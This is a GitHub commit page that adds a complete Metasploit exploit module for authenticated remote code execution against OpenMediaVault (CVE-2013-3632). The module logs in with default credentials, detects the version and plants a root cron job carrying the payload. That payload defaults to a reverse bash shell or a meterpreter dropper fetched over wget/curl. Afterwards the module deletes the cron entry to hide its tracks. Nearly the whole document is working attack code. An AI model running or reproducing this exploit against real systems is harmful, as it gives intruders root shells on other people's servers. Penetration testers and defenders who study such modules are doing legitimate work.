forked from rapid7/metasploit-framework
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
27a63aa
commit 562e93f
Showing
1 changed file
with
323 additions
and
0 deletions.
There are no files selected for viewing
323 changes: 323 additions & 0 deletions
323
modules/exploits/multi/http/openmediavault_auth_cron_rce.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,323 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution', | ||
'Description' => %q{ | ||
OpenMediaVault allows an authenticated user to create cron jobs as root on the system. | ||
An attacker can abuse this by sending a POST request via rpc.php to schedule and execute | ||
a cron entry that runs arbitrary commands as root on the system. | ||
All OpenMediaVault versions including the latest release 7.3.1-1 are vulnerable. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor | ||
'Brandon Perry <bperry.volatile[at]gmail.com>', # Original Discovery | ||
'Mert BENADAM' # exploit author | ||
], | ||
'References' => [ | ||
['CVE', '2013-3632'], | ||
['PACKETSTORM', '178526'], | ||
['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632'] | ||
], | ||
'DisclosureDate' => '2024-05-08', | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], | ||
'Privileged' => true, | ||
'Targets' => [ | ||
[ | ||
'Unix Command', | ||
{ | ||
'Platform' => ['unix', 'linux'], | ||
'Arch' => ARCH_CMD, | ||
'Type' => :unix_cmd, | ||
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } | ||
} | ||
], | ||
[ | ||
'Linux Dropper', | ||
{ | ||
'Platform' => ['linux'], | ||
'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], | ||
'Type' => :linux_dropper, | ||
'CmdStagerFlavor' => ['wget', 'curl'], | ||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'SSL' => false, | ||
'RPORT' => 80, | ||
'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']), | ||
OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']), | ||
OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']) | ||
] | ||
) | ||
end | ||
|
||
def user | ||
datastore['USERNAME'] | ||
end | ||
|
||
def pass | ||
datastore['PASSWORD'] | ||
end | ||
|
||
def login(user, pass, _opts = {}) | ||
print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}") | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/rpc.php'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'ctype' => 'application/json', | ||
'data' => { | ||
service: 'Session', | ||
method: 'login', | ||
params: { | ||
username: user.to_s, | ||
password: pass.to_s | ||
}, | ||
options: nil | ||
}.to_json | ||
}) | ||
return true if res && res.code == 200 && res.body.include?('"authenticated":true') | ||
|
||
false | ||
end | ||
|
||
def check_version | ||
print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.') | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/rpc.php'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'ctype' => 'application/json', | ||
'data' => { | ||
service: 'System', | ||
method: 'getInformation', | ||
params: nil, | ||
options: { | ||
updatelastaccess: false | ||
} | ||
}.to_json | ||
}) | ||
return nil unless res && res.code == 200 && res.body.include?('"error":null') | ||
|
||
# parse json response and get the version | ||
res_json = res.get_json_document | ||
unless res_json.blank? | ||
# OpenMediaVault v4 has a different json format where index 1 has the version information | ||
version = res_json.dig('response', 1, 'value') | ||
version = res_json.dig('response', 'version') if version.nil? | ||
return version.split('(')[0].gsub(/[[:space:]]/, '') unless version.nil? | ||
end | ||
nil | ||
end | ||
|
||
def apply_config_changes | ||
# Apply OpenMediaVault configuration changes | ||
return send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/rpc.php'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'keep_cookies' => true, | ||
'data' => { | ||
service: 'Config', | ||
method: 'applyChangesBg', | ||
params: { | ||
modules: [], | ||
force: false | ||
}, | ||
options: nil | ||
}.to_json | ||
}) | ||
end | ||
|
||
def execute_command(cmd, _opts = {}) | ||
post_data = {}.to_json | ||
# depending on the version, adapt the POST request to add a cron payload at the scheduler | ||
if Rex::Version.new(@version_number) >= Rex::Version.new('6.0.15-1') | ||
# OpenMediaFault current release - v6.0.15-1 uses an array definition ['*'] | ||
post_data = { | ||
service: 'Cron', | ||
method: 'set', | ||
params: { | ||
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4', | ||
enable: true, | ||
execution: 'exactly', | ||
minute: ['*'], | ||
everynminute: false, | ||
hour: ['*'], | ||
everynhour: false, | ||
dayofmonth: ['*'], | ||
everyndayofmonth: false, | ||
month: ['*'], | ||
dayofweek: ['*'], | ||
username: 'root', | ||
command: cmd.to_s, # payload | ||
sendemail: false, | ||
comment: '', | ||
type: 'userdefined' | ||
}, | ||
options: nil | ||
}.to_json | ||
elsif Rex::Version.new(@version_number) <= Rex::Version.new('6.0.14-1') && Rex::Version.new(@version_number) >= Rex::Version.new('3.0.16') | ||
# OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*' | ||
post_data = { | ||
service: 'Cron', | ||
method: 'set', | ||
params: { | ||
uuid: 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4', | ||
enable: true, | ||
execution: 'exactly', | ||
minute: '*', | ||
everynminute: false, | ||
hour: '*', | ||
everynhour: false, | ||
dayofmonth: '*', | ||
everyndayofmonth: false, | ||
month: '*', | ||
dayofweek: '*', | ||
username: 'root', | ||
command: cmd.to_s, # payload | ||
sendemail: false, | ||
comment: '', | ||
type: 'userdefined' | ||
}, | ||
options: nil | ||
}.to_json | ||
elsif Rex::Version.new(@version_number) <= Rex::Version.new('3.0.15') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0') | ||
# OpenMediaVault v1.0.0 - v3.0.15 uses a string definition '*' and uuid setting 'undefined' | ||
post_data = { | ||
service: 'Cron', | ||
method: 'set', | ||
params: { | ||
uuid: 'undefined', | ||
enable: true, | ||
execution: 'exactly', | ||
minute: '*', | ||
everynminute: false, | ||
hour: '*', | ||
everynhour: false, | ||
dayofmonth: '*', | ||
everyndayofmonth: false, | ||
month: '*', | ||
dayofweek: '*', | ||
username: 'root', | ||
command: cmd.to_s, # payload | ||
sendemail: false, | ||
comment: '', | ||
type: 'userdefined' | ||
}, | ||
options: nil | ||
}.to_json | ||
end | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/rpc.php'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'keep_cookies' => true, | ||
'data' => post_data | ||
}) | ||
fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless res && res.code == 200 && res.body.include?('"error":null') | ||
|
||
# parse json response and get the uuid of the cron entry | ||
# we need this later to clean up and hide our tracks | ||
@cron_uuid = '' | ||
res_json = res.get_json_document | ||
@cron_uuid = res_json['response']['uuid'] unless res_json.blank? | ||
|
||
# Apply and update cron configuration to trigger payload execution (1 minute) | ||
res = apply_config_changes | ||
fail_with(Failure::Unknown, 'Cannot apply cron changes to trigger payload execution.') unless res && res.code == 200 && res.body.include?('"error":null') | ||
print_good('Cron payload execution triggered. Wait at least 1 minute for the session to be established.') | ||
end | ||
|
||
def on_new_session(session) | ||
# try to cleanup cron entry in OpenMediaVault | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/rpc.php'), | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'keep_cookies' => true, | ||
'data' => { | ||
service: 'Cron', | ||
method: 'delete', | ||
params: { | ||
uuid: @cron_uuid.to_s | ||
}, | ||
options: nil | ||
}.to_json | ||
}) | ||
if res && res.code == 200 && res.body.include?('"error":null') | ||
# Apply changes and update cron configuration to remove the payload entry | ||
res = apply_config_changes | ||
if res && res.code == 200 && res.body.include?('"error":null') | ||
print_good('Cron payload entry successfully removed.') | ||
else | ||
print_status('Cannot apply the cron changes to remove the payload entry.') | ||
end | ||
else | ||
print_status('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.') | ||
end | ||
super | ||
end | ||
|
||
def check | ||
return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless login(user, pass) | ||
|
||
@version_number = check_version | ||
unless @version_number.nil? | ||
if Rex::Version.new(@version_number) <= Rex::Version.new('7.3.1-1') && Rex::Version.new(@version_number) >= Rex::Version.new('1.0.0') | ||
return CheckCode::Vulnerable("Version #{@version_number}") | ||
else | ||
return CheckCode::Safe("Version #{@version_number}") | ||
end | ||
end | ||
CheckCode::Safe('Could not retrieve the version information.') | ||
end | ||
|
||
def exploit | ||
unless datastore['AutoCheck'] | ||
if login(user, pass) | ||
@version_number = check_version | ||
fail_with(Failure::Unknown, 'Could not retrieve the version information.') if @version_number.nil? | ||
print_status("Version #{@version_number} detected.") | ||
else | ||
fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.') | ||
end | ||
end | ||
|
||
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") | ||
case target['Type'] | ||
when :unix_cmd | ||
execute_command(payload.encoded) | ||
when :linux_dropper | ||
execute_cmdstager | ||
end | ||
end | ||
end |